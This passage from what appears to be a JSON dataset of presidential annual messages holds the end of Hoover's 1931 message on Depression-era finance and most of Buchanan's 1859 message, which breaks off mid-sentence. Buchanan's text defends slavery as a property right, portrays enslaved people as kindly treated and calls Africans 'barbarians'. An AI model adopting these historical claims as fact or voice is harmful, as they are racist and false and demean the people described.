our credit structure. It is\nour duty to apply the full strength of our Government not only to the\nimmediate phases, but to provide security against shocks and the repetition\nof the weaknesses which have been proven.The recommendations which I here lay before the Congress are designed to\nmeet these needs by strengthening financial, industrial, and agricultural\nlife through the medium of our existing institutions, and thus to avoid the\nentry of the Government into competition with private business.FEDERAL GOVERNMENT FINANCEThe first requirement of confidence and of economic recovery is financial\nstability of the United States Government. I shall deal with fiscal\nquestions at greater length in the Budget message. But I must at this time\ncall attention to the magnitude of the deficits which have developed and\nthe resulting necessity for determined and courageous policies. These\ndeficits arise in the main from the heavy decrease in tax receipts due to\nthe depression and to the increase in expenditure on construction in aid to\nunemployment, aids to agriculture, and upon services to veterans.During the fiscal year ending June 30 last we incurred a deficit of about\n$903,000,000, which included the statutory reduction of the debt and\nrepresented an increase of the national debt by $616,000,000. Of this,\nhowever, $153,000,000 is offset by increased cash balances.In comparison with the fiscal year 1928 there is indicated a fall in\nFederal receipts for the present fiscal year amounting to $1,683,000,000,\nof which $1,034,000,000 is in individual and corporate income taxes alone.\nDuring this fiscal year there will be an increased expenditure, as compared\nto 1928, on veterans of $255,000,000, and an increased expenditure on\nconstruction work which may reach $520,000,000. Despite large economies in\nother directions, we have an indicated deficit, including the statutory\nretirement of the debt, of $2,123,000,000, and an indicated net debt\nincrease of about $1,711,000,000.The Budget for the fiscal year beginning July 1 next, after allowing for\nsome increase of taxes under the present laws and after allowing for\ndrastic reduction in expenditures, still indicates a deficit of\n$1,417,000,000. After offsetting the statutory debt retirements this would\nindicate an increase in the national debt for the fiscal year 1933 of about\n$921,000,000.Several conclusions are inevitable. We must have insistent and determined\nreduction in Government expenses. We must face a temporary increase in\ntaxes. Such increase should not cover the whole of these deficits or it\nwill retard recovery. We must partially finance the deficit by borrowing.\nIt is my view that the amount of taxation should be fixed so as to balance\nthe Budget for 1933 except for the statutory debt retirement. Such\nGovernment receipts would assure the balance of the following year's budget\nincluding debt retirement. It is my further view that the additional\ntaxation should be imposed solely as an emergency measure terminating\ndefinitely two years from July 1 next. Such a basis will give confidence in\nthe determination of the Government to stabilize its finance and will\nassure taxpayers of its temporary character. Even with increased taxation,\nthe Government will reach the utmost safe limit of its borrowing capacity\nby the expenditures for which we are already obligated and the\nrecommendations here proposed. To go further than these limits in either\nexpenditures, taxes, or borrowing will destroy confidence, denude commerce\nand industry of its resources, jeopardize the financial system, and\nactually extend unemployment and demoralize agriculture rather than relieve\nit.FEDERAL LAND BANKSI recommend that the Congress authorize the subscription by the Treasury of\nfurther capital to the Federal land banks to be retired as provided in the\noriginal act, or when funds are available, and that repayments of such\ncapital be treated as a fund available for further subscriptions in the\nsame manner. It is urgent that the banks be supported so as to stabilize\nthe market values of their bonds and thus secure capital for the farmers at\nlow rates, that they may continue their services to agriculture and that\nthey may meet the present situation with consideration to the farmers.DEPOSITS IN CLOSED BANKSA method should be devised to make available quickly to depositors some\nportion of their deposits in closed banks as the assets of such banks may\nwarrant. Such provision would go far to relieve distress in a multitude of\nfamilies, would stabilize values in many communities, and would liberate\nworking capital to thousands of concerns. I recommend that measures be\nenacted promptly to accomplish these results and I suggest that the\nCongress should consider the development of such a plan through the Federal\nReserve Banks.HOME-LOAN DISCOUNT BANKSI recommend the establishment of a system of home-loan discount banks as\nthe necessary companion in our financial structure of the Federal Reserve\nBanks and our Federal Land Banks. Such action will relieve present\ndistressing pressures against home and farm property owners. It will\nrelieve pressures upon and give added strength to building and loan\nassociations, savings banks, and deposit banks, engaged in extending such\ncredits. Such action would further decentralize our credit structure. It\nwould revive residential construction and employment. It would enable such\nloaning institutions more effectually to promote home ownership. I\ndiscussed this plan at some length in a statement made public November 14,\nlast. This plan has been warmly indorsed by the recent National Conference\nupon Home Ownership and Housing, whose members were designated by the\ngovernors of the States and the groups interested.RECONSTRUCTION FINANCE CORPORATIONIn order that the public may be absolutely assured and that the Government\nmay be in position to meet any public necessity, I recommend that an\nemergency Reconstruction Corporation of the nature of the former War\nFinance Corporation should be established. It may not be necessary to use\nsuch an instrumentality very extensively. The very existence of such a\nbulwark will strengthen confidence. The Treasury should be authorized to\nsubscribe a reasonable capital to it, and it should be given authority to\nissue its own debentures. It should be placed in liquidation at the end of\ntwo years. Its purpose is that by strengthening the weak spots to thus\nliberate the full strength of the Nation's resources. It should be in\nposition to facilitate exports by American agencies; make advances to\nagricultural credit agencies where necessary to protect and aid the\nagricultural industry; to make temporary advances upon proper securities to\nestablished industries, railways, and financial institutions which can not\notherwise secure credit, and where such advances will protect the credit\nstructure and stimulate employment. Its functions would not overlap those\nof the National Credit Corporation.FEDERAL RESERVE ELIGIBILITYOn October 6th I issued a statement that I should recommend to the Congress\nan extension during emergencies of the eligibility provisions in the\nFederal reserve act. This statement was approved by a representative\ngathering of the Members of both Houses of the Congress, including members\nof the appropriate committees. It was approved by the officials of the\nTreasury Department, and I understand such an extension has been approved\nby a majority of the governors of the Federal reserve banks. Nothing should\nbe done which would lower the safeguards of the system.The establishment of the mortgage-discount banks herein referred to will\nalso contribute to further reserve strength in the banks without\ninflation.BANKING LAWSOur people have a right to a banking system in which their deposits shall\nbe safeguarded and the flow of credit less subject to storms. The need of a\nsounder system is plainly shown by the extent of bank failures. I recommend\nthe prompt improvement of the banking laws. Changed financial conditions\nand commercial practices must be met. The Congress should investigate the\nneed for separation between different kinds of banking; an enlargement of\nbranch banking under proper restrictions; and the methods by which enlarged\nmembership in the Federal reserve system may be brought about.POSTAL SAVINGS BANKSThe Postal Savings deposits have increased from about $200,000,000 to about\n$550,000,000 during the past year. This experience has raised important\npractical questions in relation to deposits and investments which should\nreceive the attention of the Congress.RAILWAYSThe railways present one of our immediate and pressing problems. They are\nand must remain the backbone of our transportation system. Their prosperity\nis interrelated with the prosperity of all industries. Their fundamental\nservice in transportation, the volume of their employment, their buying\npower for supplies from other industries, the enormous investment in their\nsecurities, particularly their bonds, by insurance companies, savings\nbanks, benevolent and other trusts, all reflect their partnership in the\nwhole economic fabric. Through these institutions the railway bonds are in\na large sense the investment of every family. The well-maintained and\nsuccessful operation and the stability of railway finances are of primary\nimportance to economic recovery. They should have more effective\nopportunity to reduce operating costs by proper consolidation. As their\nrates must be regulated in public interest, so also approximate regulation\nshould be applied to competing services by some authority. The methods of\ntheir regulation should be revised. The Interstate Commerce Commission has\nmade important and far-reaching recommendations upon the whole subject,\nwhich I commend to the early consideration of the Congress.ANTITRUST LAWSIn my message of a year ago I commented on the necessity of congressional\ninquiry into the economic action of the antitrust laws. There is wide\nconviction that some change should be made especially in the procedure\nunder these laws. I do not favor their repeal. Such action would open wide\nthe door to price fixing, monopoly, and destruction of healthy competition.\nParticular attention should be given to the industries rounded upon natural\nresources, especially where destructive competition produces great wastes\nof these resources and brings great hardships upon operators, employees,\nand the public. In recent years there has been continued demoralization in\nthe bituminous coal, oil, and lumber industries. I again commend the matter\nto the consideration of the Congress.UNEMPLOYMENTAs an aid to unemployment the Federal Government is engaged in the greatest\nprogram of public-building, harbor, flood-control, highway, waterway,\naviation, merchant and naval ship construction in all history. Our\nexpenditures on these works during this calendar year will reach about\n$780,000,000 compared with $260,000,000 in 1928. Through this increased\nconstruction, through the maintenance of a full complement of Federal\nemployees, and through services to veterans it is estimated that the\nFederal taxpayer is now directly contributing to the livelihood of\n10,000,000 of our citizens.We must avoid burdens upon the Government which will create more\nunemployment in private industry than can be gained by further expansion of\nemployment by the Federal Government. We can now stimulate employment and\nagriculture more effectually and speedily through the voluntary measures in\nprogress, through the thawing out of credit, through the building up of\nstability abroad, through the home loan discount banks, through an\nemergency finance corporation and the rehabilitation of the railways and\nother such directions.I am opposed to any direct or indirect Government dole. The breakdown and\nincreased unemployment in Europe is due in part to such practices. Our\npeople are providing against distress from unemployment in true American\nfashion by a magnificent response to public appeal and by action of the\nlocal governments.GENERAL LEGISLATIONThere are many other subjects requiring legislative action at this session\nof the Congress. I may list the following among them:VETERANS' SERVICESThe law enacted last March authorizing loans of 50 per cent upon\nadjusted-service certificates has, together with the loans made under\nprevious laws, resulted in payments of about $1,260,000,000. Appropriations\nhave been exhausted. The Administrator of Veterans' Affairs advises that a\nfurther appropriation of $200,000,000 is required at once to meet the\nobligations made necessary by existing legislation.There will be demands for further veterans' legislation; there are\ninequalities in our system of veterans' relief; it is our national duty to\nmeet our obligations to those who have served the Nation. But our present\nexpenditure upon these services now exceeds $1,000,000,000 per annum. I am\nopposed to any extension of these expenditures until the country has\nrecovered from the present situation.ELECTRICAL-POWER REGULATIONI have recommended in previous messages the effective regulation of\ninterstate electrical power as the essential function of the reorganized\nFederal Power Commission. I renew the recommendation. It is urgently needed\nin public protection.MUSCLE SHOALSAt my suggestion, the Governors and Legislatures of Alabama and Tennessee\nselected three members each for service on a committee to which I appointed\na representative of the farm organizations and two representatives of the\nWar Department for the purpose of recommending a plan for the disposal of\nthese properties which would be in the interest of the people of those\nStates and the agricultural industry throughout the country. I shall\ntransmit the recommendations to the Congress.REORGANIZATION OF FEDERAL DEPARTMENTSI have referred in previous messages to the profound need of further\nreorganization and consolidation of Federal administrative functions to\neliminate overlap and waste, and to enable coordination and definition of\nGovernment policies now wholly impossible in scattered and conflicting\nagencies which deal with parts of the same major function. I shall lay\nbefore the Congress further recommendations upon this subject, particularly\nin relation to the Department of the Interior. There are two directions of\nsuch reorganization, however, which have an important bearing upon the\nemergency problems with which we are confronted.SHIPPING BOARDAt present the Shipping Board exercises large administrative functions\nindependent of the Executive. These administrative functions should be\ntransferred to the Department of Commerce, in keeping with that single\nresponsibility which has been the basis of our governmental structure since\nits foundation. There should be created in that department a position of\nAssistant Secretary for Merchant Marine, under whom this work and the\nseveral bureaus having to do with merchant marine may be grouped.The Shipping Board should be made a regulatory body acting also in advisory\ncapacity on loans and policies, in keeping with its original conception.\nIts regulatory powers should be amended to include regulation of coastwise\nshipping so as to assure stability and better service. It is also worthy of\nconsideration that the regulation of rates and services upon the inland\nwaterways should be assigned to such a reorganized board.REORGANIZATION OF PUBLIC WORKS ADMINISTRATIONI recommend that all building and construction activities of the Government\nnow carried on by many departments be consolidated into an independent\nestablishment under the President to be known as the \"Public Works\nAdministration\" directed by a Public Works Administrator. This agency\nshould undertake all construction work in service to the different\ndepartments of the Government (except naval and military work). The\nservices of the Corps of Army Engineers should be delegated in rotation for\nmilitary duty to this administration in continuation of their supervision\nof river and harbor work. Great economies, sounder policies, more effective\ncoordination to employment, and expedition in all construction work would\nresult from this consolidation.LAW ENFORCEMENTI shall present some recommendations in a special message looking to the\nstrengthening of criminal-law enforcement and improvement in judicial\nprocedure connected therewith.INLAND WATERWAY AND HARBOR IMPROVEMENTThese improvements are now proceeding upon an unprecedented scale. Some\nindication of the volume of work in progress is conveyed by the fact that\nduring the current year over 380,000,000 cubic yards of material have been\nmoved--an amount equal to the entire removal in the construction of the\nPanama Canal. The Mississippi waterway system, connecting Chicago, Kansas\nCity, Pittsburgh, and New Orleans, will be in full operation during 1933.\nSubstantial progress is being made upon the projects of the upper Missouri,\nupper Mississippi, etc.Negotiations are now in progress with Canada for the construction of the\nSt. Lawrence Waterway.THE TARIFFWages and standards of living abroad have been materially lowered during\nthe past year. The temporary abandonment of the gold standard by certain\ncountries has also reduced their production costs compared to ours.\nFortunately any increases in the tariff which may be necessary to protect\nagriculture and industry from these lowered foreign costs, or decreases in\nitems which may prove to be excessive, may be undertaken at any time by the\nTariff Commission under authority which it possesses by virtue of the\ntariff act of 1930. The commission during the past year has reviewed the\nrates upon over 254 items subject to tariff. As a result of vigorous and\nindustrious action, it is up to date in the consideration of pending\nreferences and is prepared to give prompt attention to any further\napplications. This procedure presents an orderly method for correcting\ninequalities. I am opposed to any general congressional revision of the\ntariff. Such action would disturb industry, business, and agriculture. It\nwould prolong the depression.IMMIGRATION AND DEPORTATIONI recommend that immigration restriction now in force under administrative\naction be placed upon a more definite basis by law. The deportation laws\nshould be strengthened. Aliens lawfully in the country should be protected\nby the issuance of a certificate of residence.PUBLIC HEALTHI again call attention to my previous recommendations upon this subject,\nparticularly in its relation to children. The moral results are of the\nutmost importance.CONCLUSIONIt is inevitable that in these times much of the legislation proposed to\nthe Congress and many of the recommendations of the Executive must be\ndesigned to meet emergencies. In reaching solutions we must not jeopardize\nthose principles which we have found to be the basis of the growth of the\nNation. The Federal Government must not encroach upon nor permit local\ncommunities to abandon that precious possession of local initiative and\nresponsibility. Again, just as the largest measure of responsibility in the\ngovernment of the Nation rests upon local self-government, so does the\nlargest measure of social responsibility in our country rest upon the\nindividual. If the individual surrenders his own initiative and\nresponsibilities, he is surrendering his own freedom and his own liberty.\nIt is the duty of the National Government to insist that both the local\ngovernments and the individual shall assume and bear these responsibilities\nas a fundamental of preserving the very basis of our freedom.Many vital changes and movements of vast proportions are taking place in\nthe economic world. The effect of these changes upon the future can not be\nseen clearly as yet. Of this, however, we are sure: Our system, based upon\nthe ideals of individual initiative and of equality of opportunity, is not\nan artificial thing. Rather it is the outgrowth of the experience of\nAmerica, and expresses the faith and spirit of our people. It has carried\nus in a century and a half to leadership of the economic world. If our\neconomic system does not match our highest expectations at all times, it\ndoes not require revolutionary action to bring it into accord with any\nnecessity that experience may prove. It has successfully adjusted itself to\nchanging conditions in the past. It will do so again. The mobility of our\ninstitutions, the richness of our resources, and the abilities of our\npeople enable us to meet them unafraid. It is a distressful time for many\nof our people, but they have shown qualities as high in fortitude, courage,\nand resourcefulness as ever in our history. With that spirit, I have faith\nthat out of it will come a sounder life, a truer standard of values, a\ngreater recognition of the results of honest effort, and a healthier\natmosphere in which to rear our children. Ours must be a country of such\nstability and security as can not fail to carry forward and enlarge among\nall the people that abundant life of material and spiritual opportunity\nwhich it has represented among all nations since its beginning.The White House,December 8, 1931", 
+    "name": "Herbert Hoover"
+}
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+{
+    "date": "December 19, 1859", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Our deep and heartfelt gratitude is due to that Almighty Power which has\nbestowed upon us such varied and numerous blessings throughout the past\nyear. The general health of the country has been excellent, our harvests\nhave been unusually plentiful, and prosperity smiles throughout the land.\nIndeed, notwithstanding our demerits, we have much reason to believe from\nthe past events in our history that we have enjoyed the special protection\nof Divine Providence ever since our origin as a nation. We have been\nexposed to many threatening and alarming difficulties in our progress, but\non each successive occasion the impending cloud has been dissipated at the\nmoment it appeared ready to burst upon our head, and the danger to our\ninstitutions has passed away. May we ever be under the divine guidance and\nprotection. Whilst it is the duty of the President \"from time to time to\ngive to Congress information of the state of the Union,\" I shall not refer\nin detail to the recent sad and bloody occurrences at Harpers Ferry. Still,\nit is proper to observe that these events, however bad and cruel in\nthemselves, derive their chief importance from the apprehension that they\nare but symptoms of an incurable disease in the public mind, which may\nbreak out in still more dangerous outrages and terminate at last in an open\nwar by the North to abolish slavery in the South. Whilst for myself I\nentertain no such apprehension, they ought to afford a solemn warning to us\nall to beware of the approach of danger. Our Union is a stake of such\ninestimable value as to demand our constant and watchful vigilance for its\npreservation. In this view, let me implore my countrymen, North and South,\nto cultivate the ancient feelings of mutual forbearance and good will\ntoward each other and strive to allay the demon spirit of sectional hatred\nand strife now alive in the land. This advice proceeds from the heart of an\nold public functionary whose service commenced in the last generation,\namong the wise and conservative statesmen of that day, now nearly all\npassed away, and whose first and dearest earthly wish is to leave his\ncountry tranquil, prosperous, united, and powerful.We ought to reflect that in this age, and especially in this country, there\nis an incessant flux and reflux of public opinion. Questions which in their\nday assumed a most threatening aspect have now nearly gone from the memory\nof men. They are \"volcanoes burnt out, and on the lava and ashes and\nsqualid scoria of old eruptions grow the peaceful olive, the cheering vine,\nand the sustaining corn.\" Such, in my opinion, will prove to be the fate of\nthe present sectional excitement should those who wisely seek to apply the\nremedy continue always to confine their efforts within the pale of the\nConstitution. If this course be pursued, the existing agitation on the\nsubject of domestic slavery, like everything human, will have its day and\ngive place to other and less threatening controversies. Public opinion in\nthis country is all-powerful, and when it reaches a dangerous excess upon\nany question the good sense of the people will furnish the corrective and\nbring it back within safe limits. Still, to hasten this auspicious result\nat the present crisis we ought to remember that every rational creature\nmust be presumed to intend the natural consequences of his own teachings.\nThose who announce abstract doctrines subversive of the Constitution and\nthe Union must not be surprised should their heated partisans advance one\nstep further and attempt by violence to carry these doctrines into\npractical effect. In this view of the subject, it ought never to be\nforgotten that however great may have been the political advantages\nresulting from the Union to every portion of our common country, these\nwould all prove to be as nothing should the time ever arrive when they can\nnot be enjoyed without serious danger to the personal safety of the people\nof fifteen members of the Confederacy. If the peace of the domestic\nfireside throughout these States should ever be invaded, if the mothers of\nfamilies within this extensive region should not be able to retire to rest\nat night without suffering dreadful apprehensions of what may be their own\nfate and that of their children before the morning, it would be vain to\nrecount to such a people the political benefits which result to them from\nthe Union. Self-preservation is the first instinct of nature, and therefore\nany state of society in which the sword is all the time suspended over the\nheads of the people must at last become intolerable. But I indulge in no\nsuch gloomy forebodings. On the contrary, I firmly believe that the events\nat Harpers Ferry, by causing the people to pause and reflect upon the\npossible peril to their cherished institutions, will be the means under\nProvidence of allaying the existing excitement and preventing further\noutbreaks of a similar character. They will resolve that the Constitution\nand the Union shall not be endangered by rash counsels, knowing that should\n\"the silver cord be loosed or the golden bowl be broken at the fountain\"\nhuman power could never reunite the scattered and hostile fragments.I cordially congratulate you upon the final settlement by the Supreme Court\nof the United States of the question of slavery in the Territories, which\nhad presented an aspect so truly formidable at the commencement of my\nAdministration. The right has been established of every citizen to take his\nproperty of any kind, including slaves, into the common Territories\nbelonging equally to all the States of the Confederacy, and to have it\nprotected there under the Federal Constitution. Neither Congress nor a\nTerritorial legislature nor any human power has any authority to annul or\nimpair this vested right. The supreme judicial tribunal of the country,\nwhich is a coordinate branch of the Government, has sanctioned and affirmed\nthese principles of constitutional law, so manifestly just in themselves\nand so well calculated to promote peace and harmony among the States. It is\na striking proof of the sense of justice which is inherent in our people\nthat the property in slaves has never been disturbed, to my knowledge, in\nany of the Territories. Even throughout the late troubles in Kansas there\nhas not been any attempt, as I am credibly informed, to interfere in a\nsingle instance with the right of the master. Had any such attempt been\nmade, the judiciary would doubtless have afforded an adequate remedy.\nShould they fail to do this hereafter, it will then be time enough to\nstrengthen their hands by further legislation. Had it been decided that\neither Congress or the Territorial legislature possess the power to annul\nor impair the right to property in slaves, the evil would be intolerable.\nIn the latter event there would be a struggle for a majority of the members\nof the legislature at each successive election, and the sacred rights of\nproperty held under the Federal Constitution would depend for the time\nbeing on the result. The agitation would thus be rendered incessant whilst\nthe Territorial condition remained, and its baneful influence would keep\nalive a dangerous excitement among the people of the several States.Thus has the status of a Territory during the intermediate period from its\nfirst settlement until it shall become a State been irrevocably fixed by\nthe final decision of the Supreme Court. Fortunate has this been for the\nprosperity of the Territories, as well as the tranquillity of the States.\nNow emigrants from the North and the South, the East and the West, will\nmeet in the Territories on a common platform, having brought with them that\nspecies of property best adapted, in their own opinion, to promote their\nwelfare. From natural causes the slavery question will in each case soon\nvirtually settle itself, and before the Territory is prepared for admission\nas a State into the Union this decision, one way or the other, will have\nbeen a foregone conclusion. Meanwhile the settlement of the new Territory\nwill proceed without serious interruption, and its progress and prosperity\nwill not be endangered or retarded by violent political struggles.When in the progress of events the inhabitants of any Territory shall have\nreached the number required to form a State, they will then proceed in a\nregular manner and in the exercise of the rights of popular sovereignty to\nform a constitution preparatory to admission into the Union. After this has\nbeen done, to employ the language of the Kansas and Nebraska act, they\n\"shall be received into the Union with or without slavery, as their\nconstitution may prescribe at the time of their admission.\" This sound\nprinciple has happily been recognized in some form or other by an almost\nunanimous vote of both Houses of the last Congress.All lawful means at my command have been employed, and shall continue to be\nemployed, to execute the laws against the African slave trade. After a most\ncareful and rigorous examination of our coasts and a thorough investigation\nof the subject, we have not been able to discover that any slaves have been\nimported into the United States except the cargo by the Wanderer, numbering\nbetween three and four hundred. Those engaged in this unlawful enterprise\nhave been rigorously prosecuted, but not with as much success as their\ncrimes have deserved. A number of them are still under prosecution.Our history proves that the fathers of the Republic, in advance of all\nother nations, condemned the African slave trade. It was, notwithstanding,\ndeemed expedient by the framers of the Constitution to deprive Congress of\nthe power to prohibit \"the migration or importation of such persons as any\nof the States now existing shall think proper to admit\" \"prior to the year\n1808.\" It will be seen that this restriction on the power of Congress was\nconfined to such States only as might think proper to admit the importation\nof slaves. It did not extend to other States or to the trade carried on\nabroad. Accordingly, we find that so early as the 22d March, 1794, Congress\npassed an act imposing severe penalties and punishments upon citizens and\nresidents of the United States who should engage in this trade between\nforeign nations. The provisions of this act were extended and enforced by\nthe act of 10th May, 1800.Again, the States themselves had a clear right to waive the constitutional\nprivilege intended for their benefit, and to prohibit by their own laws\nthis trade at any time they thought proper previous to 1808. Several of\nthem exercised this right before that period, and among them some\ncontaining the greatest number of slaves. This gave to Congress the\nimmediate power to act in regard to all such States, because they\nthemselves had removed the constitutional barrier. Congress accordingly\npassed an act on 28th February, 1803, \"to prevent the importation of\ncertain persons into certain States where by the laws thereof their\nadmission is prohibited.\" In this manner the importation of African slaves\ninto the United States was to a great extent prohibited some years in\nadvance of 1808.As the year 1808 approached Congress determined not to suffer this trade to\nexist even for a single day after they had the power to abolish it. On the\n2d of March, 1807, they passed an act, to take effect \"from and after the\n1st day of January, 1808,\" prohibiting the importation of African slaves\ninto the United States. This was followed by subsequent acts of a similar\ncharacter, to which I need not specially refer. Such were the principles\nand such the practice of our ancestors more than fifty years ago in regard\nto the African slave trade. It did not occur to the revered patriots who\nhad been delegates to the Convention, and afterwards became members of\nCongress, that in passing these laws they had violated the Constitution\nwhich they had framed with so much care and deliberation. They supposed\nthat to prohibit Congress in express terms from exercising a specified\npower before an appointed day necessarily involved the right to exercise\nthis power after that day had arrived.If this were not the case, the framers of the Constitution had expended\nmuch labor in vain. Had they imagined that Congress would possess no power\nto prohibit the trade either before or after 1808, they would not have\ntaken so much care to protect the States against the exercise of this power\nbefore that period. Nay, more, they would not have attached such vast\nimportance to this provision as to have excluded it from the possibility of\nfuture repeal or amendment, to which other portions of the Constitution\nwere exposed. It would, then, have been wholly unnecessary to ingraft on\nthe fifth article of the Constitution, prescribing the mode of its own\nfuture amendment, the proviso \"that no amendment which may be made prior to\nthe year 1808 shall in any manner affect\" the provision in the Constitution\nsecuring to the States the right to admit the importation of African slaves\nprevious to that period. According to the adverse construction, the clause\nitself, on which so much care and discussion had been employed by the\nmembers of the Convention, was an absolute nullity from the beginning, and\nall that has since been done under it a mere usurpation.It was well and wise to confer this power on Congress, because had it been\nleft to the States its efficient exercise would have been impossible. In\nthat event any one State could have effectually continued the trade, not\nonly for itself, but for all the other slave States, though never so much\nagainst their will. And why? Because African slaves, when once brought\nwithin the limits of any one State in accordance with its laws, can not\npractically be excluded from any State where slavery exists. And even if\nall the States had separately passed laws prohibiting the importation of\nslaves, these laws would have failed of effect for want of a naval force to\ncapture the slavers and to guard the coast. Such a force no State can\nemploy in time of peace without the consent of Congress.These acts of Congress, it is believed, have, with very rare and\ninsignificant exceptions, accomplished their purpose. For a period of more\nthan half a century there has been no perceptible addition to the number of\nour domestic slaves. During this period their advancement in civilization\nhas far surpassed that of any other portion of the African race. The light\nand the blessings of Christianity have been extended to them, and both\ntheir moral and physical condition has been greatly improved.Reopen the trade and it would be difficult to determine whether the effect\nwould be more deleterious on the interests of the master or on those of the\nnative-born slave. Of the evils to the master, the one most to be dreaded\nwould be the introduction of wild, heathen, and ignorant barbarians among\nthe sober, orderly, and quiet slaves whose ancestors have been on the soil\nfor several generations. This might tend to barbarize, demoralize, and\nexasperate the whole mass and produce most deplorable consequences.The effect upon the existing slave would, if possible, be still more\ndeplorable. At present he is treated with kindness and humanity. He is well\nfed, well clothed, and not overworked. His condition is incomparably better\nthan that of the coolies which modern nations of high civilization have\nemployed as a substitute for African slaves. Both the philanthropy and the\nself-interest of the master have combined to produce this humane result.\nBut let this trade be reopened and what will be the effect? The same to a\nconsiderable extent as on a neighboring island, the only spot now on earth\nwhere the African slave trade is openly tolerated, and this in defiance of\nsolemn treaties with a power abundantly able at any moment to enforce their\nexecution. There the master, intent upon present gain, extorts from the\nslave as much labor as his physical powers are capable of enduring, knowing\nthat when death comes to his relief his place can be supplied at a price\nreduced to the lowest point by the competition of rival African slave\ntraders. Should this ever be the case in our country, which I do not deem\npossible, the present useful character of the domestic institution, wherein\nthose too old and too young to work are provided for with care and humanity\nand those capable of labor are not overtasked, would undergo an unfortunate\nchange. The feeling of reciprocal dependence and attachment which now\nexists between master and slave would be converted into mutual distrust and\nhostility.But we are obliged as a Christian and moral nation to consider what would\nbe the effect upon unhappy Africa itself if we should reopen the slave\ntrade. This would give the trade an impulse and extension which it has\nnever had, even in its palmiest days. The numerous victims required to\nsupply it would convert the whole slave coast into a perfect pandemonium,\nfor which this country would be held responsible in the eyes both of God\nand man. Its petty tribes would then be constantly engaged in predatory\nwars against each other for the purpose of seizing slaves to supply the\nAmerican market. All hopes of African civilization would thus be ended.On the other hand, when a market for African slaves shall no longer be\nfurnished in Cuba, and thus all the world be closed against this trade, we\nmay then indulge a reasonable hope for the gradual improvement of Africa.\nThe chief motive of war among the tribes will cease whenever there is no\nlonger any demand for slaves. The resources of that fertile but miserable\ncountry might then be developed by the hand of industry and afford subjects\nfor legitimate foreign and domestic commerce. In this manner Christianity\nand civilization may gradually penetrate the existing gloom.The wisdom of the course pursued by this Government toward China has been\nvindicated by the event. Whilst we sustained a neutral position in the war\nwaged by Great Britain and France against the Chinese Empire, our late\nminister, in obedience to his instructions, judiciously cooperated with the\nministers of these powers in all peaceful measures to secure by treaty the\njust concessions demanded by the interests of foreign commerce. The result\nis that satisfactory treaties have been concluded with China by the\nrespective ministers of the United States, Great Britain, France, and\nRussia. Our \"treaty, or general convention, of peace, amity, and commerce\"\nwith that Empire was concluded at Tien-tsin on the 18th June, 1858, and was\nratified by the President, by and with the advice and consent of the\nSenate, on the 21st December following. On the 15th December, 1858, John E.\nWard, a distinguished citizen of Georgia, was duly commissioned as envoy\nextraordinary and minister plenipotentiary to China.He left the United States for the place of his destination on the 5th of\nFebruary, 1859, bearing with him the ratified copy of this treaty, and\narrived at Shanghai on the 28th May. From thence he proceeded to Peking on\nthe 16th June, but did not arrive in that city until the 27th July.\nAccording to the terms of the treaty, the ratifications were to be\nexchanged on or before the 18th June, 1859. This was rendered impossible by\nreasons and events beyond his control, not necessary to detail; but still\nit is due to the Chinese authorities at Shanghai to state that they always\nassured him no advantage should be taken of the delay, and this pledge has\nbeen faithfully redeemed.On the arrival of Mr. Ward at Peking he requested an audience of the\nEmperor to present his letter of credence. This he did not obtain, in\nconsequence of his very proper refusal to submit to the humiliating\nceremonies required by the etiquette of this strange people in approaching\ntheir sovereign. Nevertheless, the interviews on this question were\nconducted in the most friendly spirit and with all due regard to his\npersonal feelings and the honor of his country. When a presentation to His\nMajesty was found to be impossible, the letter of credence from the\nPresident was received with peculiar honors by Kweiliang, \"the Emperor's\nprime minister and the second man in the Empire to the Emperor himself.\"\nThe ratifications of the treaty were afterwards, on the 16th of August,\nexchanged in proper form at Peit-sang. As the exchange did not take place\nuntil after the day prescribed by the treaty, it is deemed proper before\nits publication again to submit it to the Senate. It is but simple justice\nto the Chinese authorities to observe that throughout the whole transaction\nthey appear to have acted in good faith and in a friendly spirit toward the\nUnited States. It is true this has been done after their own peculiar\nfashion; but we ought to regard with a lenient eye the ancient customs of\nan empire dating back for thousands of years, so far as this may be\nconsistent with our own national honor. The conduct of our minister on the\noccasion has received my entire approbation.In order to carry out the spirit of this treaty and to give it full effect\nit became necessary to conclude two supplemental conventions, the one for\nthe adjustment and satisfaction of the claims of our citizens and the other\nto fix the tariff on imports and exports and to regulate the transit duties\nand trade of our merchants with China. This duty was satisfactorily\nperformed by our late minister. These conventions bear date at Shanghai on\nthe 8th November, 1858. Having been considered in the light of binding\nagreements subsidiary to the principal treaty, and to be carried into\nexecution without delay, they do not provide for any formal ratification or\nexchange of ratifications by the contracting parties. This was not deemed\nnecessary by the Chinese, who are already proceeding in good faith to\nsatisfy the claims of our citizens and, it is hoped, to carry out the other\nprovisions of the conventions. Still, I thought it was proper to submit\nthem to the Senate by which they were ratified on the 3d of March, 1859.\nThe ratified copies, however, did not reach Shanghai until after the\ndeparture of our minister to Peking, and these conventions could not,\ntherefore, be exchanged at the same time with the principal treaty. No\ndoubt is entertained that they will be ratified and exchanged by the\nChinese Government should this be thought advisable; but under the\ncircumstances presented I shall consider them binding engagements from\ntheir date on both parties, and cause them to be published as such for the\ninformation and guidance of our merchants trading with the Chinese Empire.It affords me much satisfaction to inform you that all our difficulties\nwith the Republic of Paraguay have been satisfactorily adjusted. It happily\ndid not become necessary to employ the force for this purpose which\nCongress had placed at my command under the joint resolution of 2d June,\n1858. On the contrary, the President of that Republic, in a friendly\nspirit, acceded promptly to the just and reasonable demands of the\nGovernment of the United States. Our commissioner arrived at Assumption,\nthe capital of the Republic, on the 25th of January, 1859, and left it on\nthe 17th of February, having in three weeks ably and successfully\naccomplished all the objects of his mission. The treaties which he has\nconcluded will be immediately submitted to the Senate.In the view that the employment of other than peaceful means might become\nnecessary to obtain \"just satisfaction\" from Paraguay, a strong naval force\nwas concentrated in the waters of the La Plata to await contingencies\nwhilst our commissioner ascended the rivers to Assumption. The Navy\nDepartment is entitled to great credit for the promptness, efficiency, and\neconomy with which this expedition was fitted out and conducted. It\nconsisted of 19 armed vessels, great and small, carrying 200 guns and 2,500\nmen, all under the command of the veteran and gallant Shubrick. The entire\nexpenses of the expedition have been defrayed out of the ordinary\nappropriations for the naval service, except the sum of $289,000, applied\nto the purchase of seven of the steamers constituting a part of it, under\nthe authority of the naval appropriation act of the 3d March last. It is\nbelieved that these steamers are worth more than their cost, and they are\nall now usefully and actively employed in the naval service.The appearance of so large a force, fitted out in such a prompt manner, in\nthe far-distant waters of the La Plata, and the admirable conduct of the\nofficers and men employed in it, have had a happy effect in favor of our\ncountry throughout all that 